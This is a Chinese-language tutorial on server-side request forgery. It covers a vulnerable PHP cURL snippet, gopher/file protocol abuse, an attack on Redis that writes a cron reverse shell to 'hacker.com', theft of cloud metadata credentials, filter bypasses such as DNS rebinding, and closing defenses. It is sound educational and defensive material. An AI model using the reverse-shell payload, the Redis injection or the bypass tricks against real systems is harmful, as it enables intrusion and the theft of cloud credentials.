SSRF漏洞利用与内网服务劫持

SSRF漏洞利用与内网服务劫持

SSRF（Server-Side Request Forgery，服务端请求伪造） 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

现代企业架构中，核心数据库（如 Redis、MySQL）和内部管理系统绝对不会暴露在公网上，它们藏在坚固的防火墙后面。然而，SSRF 漏洞允许攻击者将目标 Web 服务器变成自己的代理（跳板机），以该服务器的内网 IP 身份，向内网深处的脆弱服务发起深度渗透。

本文将结合 URL 协议解析的底层机制，推演 SSRF 是如何突破边界、执行 Redis 命令注入，并在云原生环境中获取 AWS/阿里云最高权限凭证的。

1. SSRF 的诞生：功能需求与安全边界的冲突

1.1 漏洞场景还原

很多 Web 应用都提供了“代客访问”的功能。例如：

1. 图片翻译/识图：你输入一个图片 URL，服务器去下载该图片进行 AI 分析。
2. Webhook 回调：在 Github/Gitlab 中配置一个 URL，当有代码推送时，服务器向该 URL 发送 HTTP 请求。
3. PDF 导出：你给出一个 URL，服务器上的无头浏览器（Headless Chrome）去访问该页面并生成 PDF。

漏洞代码示例 (PHP cURL)：

$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// 【致命错误】未对 $url 进行严格的内网地址过滤
curl_exec($ch);

1.2 边界突破：从公网到内网

如果攻击者将 URL 参数设置为 http://192.168.1.100/admin。 此时，发出 HTTP 请求的不再是黑客的电脑，而是这台运行着 PHP 的 Web 服务器！ 由于 Web 服务器本身就在内网，它访问 192.168.1.100 是完全合法的，防火墙根本不会拦截。黑客通过这层“代理”，成功突破了公网边界，看到了原本绝不可见的内网后台。

2. 协议滥用：不止于 HTTP

你以为 SSRF 只能用来访问内网的 Web 系统吗？错。底层的 HTTP 客户端（如 cURL、Java HttpURLConnection）支持大量的非 HTTP 协议。这也是 SSRF 破坏力惊人的原因。

2.1 File 协议：任意文件读取

如果攻击者输入 file:///etc/passwd，cURL 会直接读取本地文件系统的密码文件，并将其内容返回给攻击者。这让 SSRF 瞬间变成了一个极其危险的任意文件读取漏洞。

2.2 Dict 与 Gopher 协议：内网端口扫描与盲打

• 端口扫描：攻击者可以利用 BurpSuite 的 Intruder 模块，将 URL 设置为 http://192.168.1.X:PORT，通过分析响应的时间延迟或报错信息，绘制出整个内网的存活主机和开放端口拓扑。
• Gopher 协议的万能打击：gopher:// 是一个极其古老的协议。它的牛逼之处在于：它可以携带任意的二进制载荷发送给目标端口。黑客可以利用 Gopher 协议构造 MySQL、Redis、SMTP 的底层数据包，直接对内网数据库进行注入攻击！

3. 实战推演：SSRF 打击内网核心服务

3.1 劫持 Redis：无密码直接 RCE

Redis 是内网最常用的缓存数据库，默认端口 6379。为了追求极致性能，早期的 Redis 默认没有任何密码验证，且完全信任来自内网的请求。

攻击过程： Redis 使用的是简单的纯文本协议（RESP）。如果黑客通过 SSRF 向 Redis 发送以下文本：

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/hacker.com/4444 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

这段命令的作用是：清空数据库，将一个反弹 Shell 的命令作为键值对存入，然后将 Redis 的数据持久化路径强行修改为 Linux 的计划任务目录（/var/spool/cron/root），最后保存！ 一分钟后，计划任务执行，黑客直接拿到了目标服务器的 Root 权限。

如何通过 SSRF 发送这段文本？ 黑客可以使用 Gopher 协议构造 URL： gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a... 或者利用我们之前讲过的 HTTP 协议 CRLF（回车换行 %0d%0a）注入，强行拼凑出 Redis 认识的命令。

3.2 云原生之殇：窃取 AWS/阿里云元数据 (Metadata)

在现代云环境（AWS, 阿里云, 腾讯云）中，云厂商为了方便 EC2/ECS 实例获取自身的配置信息，提供了一个绝对的内网魔术 IP：169.254.169.254。

只要你在云服务器内部访问这个 IP，就能获取该服务器的所有元数据，甚至包括关联该虚拟机的临时高权限 IAM Access Key！

攻击过程： 黑客通过 SSRF 访问： http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole Web 服务器会乖乖地去请求这个魔术 IP，并将返回的 JSON 数据（包含 AccessKeyId, SecretAccessKey, Token）回显给黑客。

黑客拿到这组凭证后，在自己的电脑上配置 AWS CLI，就能瞬间接管受害者在云上的所有资源（如清空 S3 存储桶、勒索删库），这是云安全中导致严重事故的最常见路径。

4. SSRF 的终极防御与绕过博弈

防范 SSRF 的核心逻辑是：严格校验 URL 参数，禁止访问内网 IP。 但黑客总有办法绕过。

4.1 常见的 Bypass 手法

1. IP 格式混淆： 防御者过滤了 127.0.0.1。黑客可以使用十进制、八进制或十六进制的 IP 表示法： http://2130706433 (对应 127.0.0.1) http://0x7f000001
2. 302 跳转绕过： 防御者检查了用户输入的 URL，确认是 http://safe.com，于是放行。 但黑客在 safe.com 的服务器上配置了一个 HTTP 302 重定向，将其指向 http://127.0.0.1:6379。当后端的 HTTP 客户端跟随重定向时，依然触发了内网访问。
3. DNS Rebinding (DNS 重绑定)： 最高级的绕过手法。防御者在发起请求前，先解析域名的 IP，发现是公网 IP，于是通过安全检查。 紧接着，HTTP 客户端发起真实请求，由于 TTL 过期重新请求 DNS，此时黑客控制的恶意 DNS 服务器瞬间将解析结果变为了内网 IP (127.0.0.1)。这就是利用了“安全检查”和“实际请求”之间的时间差（TOCTOU）。

4.2 终极防御方案

1. 网络层隔离：在服务器部署的 VPC 内，使用安全组（Security Group）或 iptables，从网络层彻底阻断该 Web 机器访问内网数据库（如 Redis/MySQL）和云元数据 IP (169.254.169.254) 的权限。
2. 禁用危险协议：在初始化 cURL 或其他 HTTP 客户端时，显式关闭 file://、gopher://、dict:// 等协议，仅允许 http 和 https。
3. 代理转发：将所有出站的外网请求交给一个专门的 Proxy 节点（如 Squid），由 Proxy 节点统一进行白名单管控。